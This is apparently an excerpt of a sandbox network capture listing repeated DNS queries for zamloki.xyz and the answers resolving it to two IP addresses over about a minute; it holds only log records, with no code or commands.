Jul 27, 2021 22:08:19.079682112 CEST	192.168.2.6	8.8.8.8	0xe98e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:19.619904041 CEST	192.168.2.6	8.8.8.8	0x8717	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:20.188302994 CEST	192.168.2.6	8.8.8.8	0xb5bb	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:20.761672974 CEST	192.168.2.6	8.8.8.8	0xba23	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:21.296138048 CEST	192.168.2.6	8.8.8.8	0xa8f0	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:21.892956018 CEST	192.168.2.6	8.8.8.8	0x6104	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:22.439582109 CEST	192.168.2.6	8.8.8.8	0xe252	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:23.014514923 CEST	192.168.2.6	8.8.8.8	0x4f4e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:23.561810017 CEST	192.168.2.6	8.8.8.8	0xbeb8	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:24.097238064 CEST	192.168.2.6	8.8.8.8	0xc3c5	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:24.696661949 CEST	192.168.2.6	8.8.8.8	0xfc4b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:25.298757076 CEST	192.168.2.6	8.8.8.8	0x2e0a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:25.863683939 CEST	192.168.2.6	8.8.8.8	0x176e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:26.424665928 CEST	192.168.2.6	8.8.8.8	0x273e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:26.995623112 CEST	192.168.2.6	8.8.8.8	0x2b34	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:27.653650999 CEST	192.168.2.6	8.8.8.8	0x40d4	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:28.250874996 CEST	192.168.2.6	8.8.8.8	0xc0ea	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:28.792701960 CEST	192.168.2.6	8.8.8.8	0x1382	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:29.354494095 CEST	192.168.2.6	8.8.8.8	0x250	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:29.885061979 CEST	192.168.2.6	8.8.8.8	0x71f	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:30.442725897 CEST	192.168.2.6	8.8.8.8	0x943c	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:31.023560047 CEST	192.168.2.6	8.8.8.8	0x80c8	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:31.594857931 CEST	192.168.2.6	8.8.8.8	0x61bb	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:32.150862932 CEST	192.168.2.6	8.8.8.8	0x4b44	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:32.820031881 CEST	192.168.2.6	8.8.8.8	0x1eee	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:33.442668915 CEST	192.168.2.6	8.8.8.8	0xd21e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:34.114330053 CEST	192.168.2.6	8.8.8.8	0x457b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:34.718189001 CEST	192.168.2.6	8.8.8.8	0xee0	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:35.217886925 CEST	192.168.2.6	8.8.8.8	0x5454	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:35.741748095 CEST	192.168.2.6	8.8.8.8	0x602e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:36.242161036 CEST	192.168.2.6	8.8.8.8	0xcf4	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:36.775782108 CEST	192.168.2.6	8.8.8.8	0xb826	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jul 27, 2021 22:07:15.681432962 CEST	8.8.8.8	192.168.2.6	0x9afe	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:15.681432962 CEST	8.8.8.8	192.168.2.6	0x9afe	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:16.315481901 CEST	8.8.8.8	192.168.2.6	0xa405	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:16.315481901 CEST	8.8.8.8	192.168.2.6	0xa405	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:16.886054993 CEST	8.8.8.8	192.168.2.6	0xeb1c	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:16.886054993 CEST	8.8.8.8	192.168.2.6	0xeb1c	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:17.460325956 CEST	8.8.8.8	192.168.2.6	0x925d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:17.460325956 CEST	8.8.8.8	192.168.2.6	0x925d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:18.212995052 CEST	8.8.8.8	192.168.2.6	0x5a5	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:18.212995052 CEST	8.8.8.8	192.168.2.6	0x5a5	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:19.523641109 CEST	8.8.8.8	192.168.2.6	0xc558	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:19.523641109 CEST	8.8.8.8	192.168.2.6	0xc558	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:20.974103928 CEST	8.8.8.8	192.168.2.6	0x38f3	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:20.974103928 CEST	8.8.8.8	192.168.2.6	0x38f3	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:21.594389915 CEST	8.8.8.8	192.168.2.6	0x4f17	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:21.594389915 CEST	8.8.8.8	192.168.2.6	0x4f17	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:22.635303020 CEST	8.8.8.8	192.168.2.6	0x21bc	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:22.635303020 CEST	8.8.8.8	192.168.2.6	0x21bc	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:23.451189995 CEST	8.8.8.8	192.168.2.6	0x7cf0	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:23.451189995 CEST	8.8.8.8	192.168.2.6	0x7cf0	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:24.030378103 CEST	8.8.8.8	192.168.2.6	0xecee	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:24.030378103 CEST	8.8.8.8	192.168.2.6	0xecee	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:24.680015087 CEST	8.8.8.8	192.168.2.6	0x1017	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:24.680015087 CEST	8.8.8.8	192.168.2.6	0x1017	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:25.242269993 CEST	8.8.8.8	192.168.2.6	0xd620	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:25.242269993 CEST	8.8.8.8	192.168.2.6	0xd620	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:25.792236090 CEST	8.8.8.8	192.168.2.6	0xd8a3	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:25.792236090 CEST	8.8.8.8	192.168.2.6	0xd8a3	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:26.405795097 CEST	8.8.8.8	192.168.2.6	0xfdc3	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:26.405795097 CEST	8.8.8.8	192.168.2.6	0xfdc3	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:27.032591105 CEST	8.8.8.8	192.168.2.6	0x8dae	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:27.032591105 CEST	8.8.8.8	192.168.2.6	0x8dae	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:27.588547945 CEST	8.8.8.8	192.168.2.6	0x81f1	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:27.588547945 CEST	8.8.8.8	192.168.2.6	0x81f1	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:28.158987999 CEST	8.8.8.8	192.168.2.6	0x7e7f	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:28.158987999 CEST	8.8.8.8	192.168.2.6	0x7e7f	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:28.682799101 CEST	8.8.8.8	192.168.2.6	0x2c3d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:28.682799101 CEST	8.8.8.8	192.168.2.6	0x2c3d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:29.221082926 CEST	8.8.8.8	192.168.2.6	0xc3a7	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:29.221082926 CEST	8.8.8.8	192.168.2.6	0xc3a7	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:29.868287086 CEST	8.8.8.8	192.168.2.6	0x91f	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:29.868287086 CEST	8.8.8.8	192.168.2.6	0x91f	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:30.386236906 CEST	8.8.8.8	192.168.2.6	0x5409	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:30.386236906 CEST	8.8.8.8	192.168.2.6	0x5409	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:30.937181950 CEST	8.8.8.8	192.168.2.6	0x6d5f	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:30.937181950 CEST	8.8.8.8	192.168.2.6	0x6d5f	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:31.528688908 CEST	8.8.8.8	192.168.2.6	0xc446	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:31.528688908 CEST	8.8.8.8	192.168.2.6	0xc446	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:32.161231041 CEST	8.8.8.8	192.168.2.6	0x1467	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:32.161231041 CEST	8.8.8.8	192.168.2.6	0x1467	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:32.765450954 CEST	8.8.8.8	192.168.2.6	0x23af	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:32.765450954 CEST	8.8.8.8	192.168.2.6	0x23af	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:33.384675026 CEST	8.8.8.8	192.168.2.6	0x1041	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:33.384675026 CEST	8.8.8.8	192.168.2.6	0x1041	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:34.008146048 CEST	8.8.8.8	192.168.2.6	0x8d0a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:34.008146048 CEST	8.8.8.8	192.168.2.6	0x8d0a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:34.587944984 CEST	8.8.8.8	192.168.2.6	0x88d7	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:34.587944984 CEST	8.8.8.8	192.168.2.6	0x88d7	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:35.235373020 CEST	8.8.8.8	192.168.2.6	0x460b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:35.235373020 CEST	8.8.8.8	192.168.2.6	0x460b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:35.769519091 CEST	8.8.8.8	192.168.2.6	0xc015	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:35.769519091 CEST	8.8.8.8	192.168.2.6	0xc015	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:36.407262087 CEST	8.8.8.8	192.168.2.6	0x25b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:36.407262087 CEST	8.8.8.8	192.168.2.6	0x25b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:37.331233978 CEST	8.8.8.8	192.168.2.6	0x307f	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:37.331233978 CEST	8.8.8.8	192.168.2.6	0x307f	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:38.497618914 CEST	8.8.8.8	192.168.2.6	0xcaf7	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:38.497618914 CEST	8.8.8.8	192.168.2.6	0xcaf7	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:39.049896002 CEST	8.8.8.8	192.168.2.6	0x474a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:39.049896002 CEST	8.8.8.8	192.168.2.6	0x474a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:40.611385107 CEST	8.8.8.8	192.168.2.6	0xf52b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:40.611385107 CEST	8.8.8.8	192.168.2.6	0xf52b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:41.312999964 CEST	8.8.8.8	192.168.2.6	0x8f43	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:41.312999964 CEST	8.8.8.8	192.168.2.6	0x8f43	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:41.942508936 CEST	8.8.8.8	192.168.2.6	0xe3f6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:41.942508936 CEST	8.8.8.8	192.168.2.6	0xe3f6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:42.477984905 CEST	8.8.8.8	192.168.2.6	0x5b25	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:42.477984905 CEST	8.8.8.8	192.168.2.6	0x5b25	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:43.105361938 CEST	8.8.8.8	192.168.2.6	0xc378	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:43.105361938 CEST	8.8.8.8	192.168.2.6	0xc378	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:43.735411882 CEST	8.8.8.8	192.168.2.6	0x4c58	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:43.735411882 CEST	8.8.8.8	192.168.2.6	0x4c58	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:44.451081038 CEST	8.8.8.8	192.168.2.6	0xf9a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:44.451081038 CEST	8.8.8.8	192.168.2.6	0xf9a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:45.060008049 CEST	8.8.8.8	192.168.2.6	0x8502	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:45.060008049 CEST	8.8.8.8	192.168.2.6	0x8502	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:45.631979942 CEST	8.8.8.8	192.168.2.6	0x41ed	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:45.631979942 CEST	8.8.8.8	192.168.2.6	0x41ed	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:46.200480938 CEST	8.8.8.8	192.168.2.6	0xf5dd	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:46.200480938 CEST	8.8.8.8	192.168.2.6	0xf5dd	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:46.781471014 CEST	8.8.8.8	192.168.2.6	0xe0e6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:46.781471014 CEST	8.8.8.8	192.168.2.6	0xe0e6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:47.358086109 CEST	8.8.8.8	192.168.2.6	0x688b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:47.358086109 CEST	8.8.8.8	192.168.2.6	0x688b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:47.906095982 CEST	8.8.8.8	192.168.2.6	0xfa9e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:47.906095982 CEST	8.8.8.8	192.168.2.6	0xfa9e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:48.447359085 CEST	8.8.8.8	192.168.2.6	0x9dcb	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:48.447359085 CEST	8.8.8.8	192.168.2.6	0x9dcb	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:48.987023115 CEST	8.8.8.8	192.168.2.6	0xa762	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:48.987023115 CEST	8.8.8.8	192.168.2.6	0xa762	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:49.518418074 CEST	8.8.8.8	192.168.2.6	0x98e9	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:49.518418074 CEST	8.8.8.8	192.168.2.6	0x98e9	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:50.086680889 CEST	8.8.8.8	192.168.2.6	0x6568	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:50.086680889 CEST	8.8.8.8	192.168.2.6	0x6568	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:50.743263006 CEST	8.8.8.8	192.168.2.6	0x22d5	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:50.743263006 CEST	8.8.8.8	192.168.2.6	0x22d5	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:51.366127014 CEST	8.8.8.8	192.168.2.6	0x1aef	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:51.366127014 CEST	8.8.8.8	192.168.2.6	0x1aef	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:51.980735064 CEST	8.8.8.8	192.168.2.6	0xf430	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:51.980735064 CEST	8.8.8.8	192.168.2.6	0xf430	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:52.595231056 CEST	8.8.8.8	192.168.2.6	0x6266	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:52.595231056 CEST	8.8.8.8	192.168.2.6	0x6266	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:53.164688110 CEST	8.8.8.8	192.168.2.6	0x7277	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:53.164688110 CEST	8.8.8.8	192.168.2.6	0x7277	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:53.883261919 CEST	8.8.8.8	192.168.2.6	0x49c7	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:53.883261919 CEST	8.8.8.8	192.168.2.6	0x49c7	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:54.519440889 CEST	8.8.8.8	192.168.2.6	0x84a2	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:54.519440889 CEST	8.8.8.8	192.168.2.6	0x84a2	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:55.049324036 CEST	8.8.8.8	192.168.2.6	0xd1a6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:55.049324036 CEST	8.8.8.8	192.168.2.6	0xd1a6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:55.602128029 CEST	8.8.8.8	192.168.2.6	0x3840	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:55.602128029 CEST	8.8.8.8	192.168.2.6	0x3840	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:56.315433979 CEST	8.8.8.8	192.168.2.6	0xd040	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:56.315433979 CEST	8.8.8.8	192.168.2.6	0xd040	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:56.962476015 CEST	8.8.8.8	192.168.2.6	0x3714	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:56.962476015 CEST	8.8.8.8	192.168.2.6	0x3714	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:57.649033070 CEST	8.8.8.8	192.168.2.6	0xc180	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:57.649033070 CEST	8.8.8.8	192.168.2.6	0xc180	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:58.185276985 CEST	8.8.8.8	192.168.2.6	0x843a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:07:58.185276985 CEST	8.8.8.8	192.168.2.6	0x843a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:00.209605932 CEST	8.8.8.8	192.168.2.6	0x9884	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:00.209605932 CEST	8.8.8.8	192.168.2.6	0x9884	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:00.851979971 CEST	8.8.8.8	192.168.2.6	0x6757	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:00.851979971 CEST	8.8.8.8	192.168.2.6	0x6757	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:01.536153078 CEST	8.8.8.8	192.168.2.6	0x24	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:01.536153078 CEST	8.8.8.8	192.168.2.6	0x24	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:02.179868937 CEST	8.8.8.8	192.168.2.6	0xefde	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:02.179868937 CEST	8.8.8.8	192.168.2.6	0xefde	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:02.814191103 CEST	8.8.8.8	192.168.2.6	0x6bfb	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:02.814191103 CEST	8.8.8.8	192.168.2.6	0x6bfb	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:03.394740105 CEST	8.8.8.8	192.168.2.6	0xb280	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:03.394740105 CEST	8.8.8.8	192.168.2.6	0xb280	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:04.146708965 CEST	8.8.8.8	192.168.2.6	0x2fe6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:04.146708965 CEST	8.8.8.8	192.168.2.6	0x2fe6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:04.646667004 CEST	8.8.8.8	192.168.2.6	0xbea4	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Jul 27, 2021 22:08:04.646667004 CEST	8.8.8.8	192.168.2.6	0xbea4	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
